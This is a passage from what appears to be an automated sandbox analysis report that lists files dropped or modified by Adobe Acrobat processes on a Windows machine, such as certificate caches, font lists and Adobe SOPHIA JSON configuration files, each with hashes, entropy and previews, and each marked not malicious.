SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFkl/fbDtfllXlE/HT8kgz/JtNNX8RolJuRdxLlGB9lQRYwpDdt:kKMeT83NMa8RdWBwRd
MD5:	18DD8C0D31DA46CB2159780F53321764
SHA1:	CB7567FEEA7F3A6FA2CABA4D7E4C1BEBC8221507
SHA-256:	7352DB67034300C5C16526CED916F802C48E53F62ED8BF9469965A5A0E576C0F
SHA-512:	C72EA97E329D6FA5683135FD543C87DE224B407C998E58673961EF16879AD680438252E6314B8520419EECD3EB336382277CAD6570BE517EB23E6DBA19A21DC3
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.225002211752905
Encrypted:	false
SSDEEP:	6:kKXDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:LiDImsLNkPlE99SNxAhUe/3
MD5:	FC8AB5D54D8A0946795E50DB3450928D
SHA1:	F1037CCCF56068DE79675554FFB0123301462819
SHA-256:	96950DA67265BB7EE39C9BA4F3A45BE91FA0FEBDC12720473586C3310FBF0EBB
SHA-512:	C25B86A9D4C5C3A0C4B323EC8DC191FE3387EA7B227D1E4356BC103752AD572BE1D4734D91205DE927DCF7D49154D5B032A37B1A58FD042CD1A0C0EF0B135F9B
Malicious:	false
Preview:	p...... ..........c..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4544

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4544

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.312996841188
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJM3g98kUwPeUkwRe9:YvXKXsJ+GcjT2OGMbLUkee9
MD5:	B1C6E190439BB50E13ACA7B713F31E15
SHA1:	58C4799A5D7992B13A5F89B8878CFFA557FC0FBE
SHA-256:	C17528EEC9FBE58C600804F63C2705205B52AF5D6C7127CD0A612CEE500A9A9A
SHA-512:	D9758815C6FEACD8E219C2E7178173E08A67CF6461A6E9511294ED78E07295B5F619716CF4AECC523A2FCD785D22E543AEEDE66AC0E5A8E4FDF2F43FE860F068
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.261342246198257
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJfBoTfXpnrPeUkwRe9:YvXKXsJ+GcjT2OGWTfXcUkee9
MD5:	B2F1ED7411D4DB61427B2AEBF277E378
SHA1:	06A703964AF61CF1EEC1A432866FEEBCC2FBFC9D
SHA-256:	45B73B744D5C1852563B215C7EA877FD0BBB25100549FE876E459F60F57813FD
SHA-512:	EF1FCE4166FCC2E7B789957958095DECA71958704C81609292310989D411A939CBC6BFF2673B1761158976ECD3348667D63CD92322878C61A45FE313CCC1EEEC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.240491528314139
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJfBD2G6UpnrPeUkwRe9:YvXKXsJ+GcjT2OGR22cUkee9
MD5:	6F51C05CE012C6EB57F3B126B5AD6D15
SHA1:	954A27C63A3E6BA4F67453C3E420B4953AD4F85B
SHA-256:	AD44D3543C9FACFBA5D29234F11C2AF74431F52BB91C0852FE6756D162894CF8
SHA-512:	7D11FF8FC0AF75CE5CF40F98A61DD7D98FE8576E8C9D7BA20AB13F7DB9DD253BD1D16618BD66B62503C168A0A7392A421BBD029C39F6CB5744EEC26586AD9E07
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.291252169654421
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJfPmwrPeUkwRe9:YvXKXsJ+GcjT2OGH56Ukee9
MD5:	77FC1EAEE7A9ACF23E64CED08A130E9D
SHA1:	5A29B462218EE2954AB3BEA1672EDFCD700102FE
SHA-256:	9281FA6D3A40DCE0CE28C28228400DF1E99E4E98B1E99DC491AF4918ED397FB4
SHA-512:	B8F591D8EF34C40E1AD2ED80C0CB86D79C1CA5A056BBB8953B08D1E5C7856230AA17733DD1BCBC1528807E67A10C9B69B9A15CEFC08B0E7D7396C6FF0917446D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683827393283103
Encrypted:	false
SSDEEP:	24:Yv6XsJ+7m7pLgE9cQx8LennAvzBvkn0RCmK8czOCCS3:Yv/b7hgy6SAFv5Ah8cv/3
MD5:	0B9A4A29D615FE0EE027C7EA72D07A4C
SHA1:	872535D4720EDFE84522A2DDC7FD7C1C282749CA
SHA-256:	22D17408D849B5DD90F339C0B980A276579983D3A99CF9F0708E8F3C5FFD19BA
SHA-512:	875EC494A21400F85B84566FC023E7E684CAF2CE2153D3FCFF3D816A6C710DDA7AF4E3903B593BBAA77A8D04512C1C4D8DAC54A9C856C4C511F8E113FD83C87B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.238850020069838
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJf8dPeUkwRe9:YvXKXsJ+GcjT2OGU8Ukee9
MD5:	36CBD5374B2D12C35BD99F37FC4E46BC
SHA1:	B7749F8DF6C9CCC6DD70B7F564DF50847A003017
SHA-256:	F2FC233A253FAFDD0385E35CCE10914924A14C3DEF2160337DEA20CEAAE1E3AE
SHA-512:	F5F6A9FBBAA61CC6F8B495BCCC0D8EAE01B86E59DFF07A867EBF92495EA7AA7E50C078F92B49BF448ACA446D1DE5BFC3863FB9CAB5C8A7A87C486438FB3A0AD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.241678663860064
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJfQ1rPeUkwRe9:YvXKXsJ+GcjT2OGY16Ukee9
MD5:	95D1B59E0B69F6D887DAC1A27A0752F4
SHA1:	841E7600E3DCD5006483BC169BC7EDF715BD848E
SHA-256:	AB3FA4FE41AFB72F8663152FCB40D88F8DE6F4CDAE0A1067C885EF3144DE96EA
SHA-512:	DF8933B21EBC775DE25372E7F89B9212F5D6C68AC6B915A6A4A0F9B14F0D9E7F6413156E96309B75DA7643289367D3C246D25473CFAA768D22486F7187B89BBD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.252055518555816
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJfFldPeUkwRe9:YvXKXsJ+GcjT2OGz8Ukee9
MD5:	5F0150941A738329B394AE426B8FDE0F
SHA1:	6E57EC993FD9BA996BEF822A1082E409246CE3D5
SHA-256:	7CBAEF185CD1D3000C1789221F61FA54F6DC7D3B632067118E23C61C9B4E21ED
SHA-512:	26D44AA823BE09651E520AE1ED1C199691AC2C8C5A46077DB8D23768C136898D8CEEB6342E6C057173CE8E4F93A84E77420713AD6C6BFC51A4E16AC87CFB33E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.265679230338563
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJfzdPeUkwRe9:YvXKXsJ+GcjT2OGb8Ukee9
MD5:	7133C755CC34014D20E858F8D15439B3
SHA1:	AA3C85D9CD4F86D4A2EC7573BD5C34F87A1B091B
SHA-256:	988242F489784FA42A7F553D38A4365957F531919C169627C9E09DF34CFBB2AC
SHA-512:	12B51D6D8948EB132A4A607CC3CF5DC3E6BD9F4D49212B632B382CD51C7614AD6B1F58851FE391D9F892A5ECAE520C160EA03AFF9687DB0BEB548E5187CD622D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.245748755375687
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJfYdPeUkwRe9:YvXKXsJ+GcjT2OGg8Ukee9
MD5:	D1DB7A3B04FCDA264DF23393F92B8B4A
SHA1:	7E0C7A6BD2C6AA47B1E2C3E9B7D885F44807AD2D
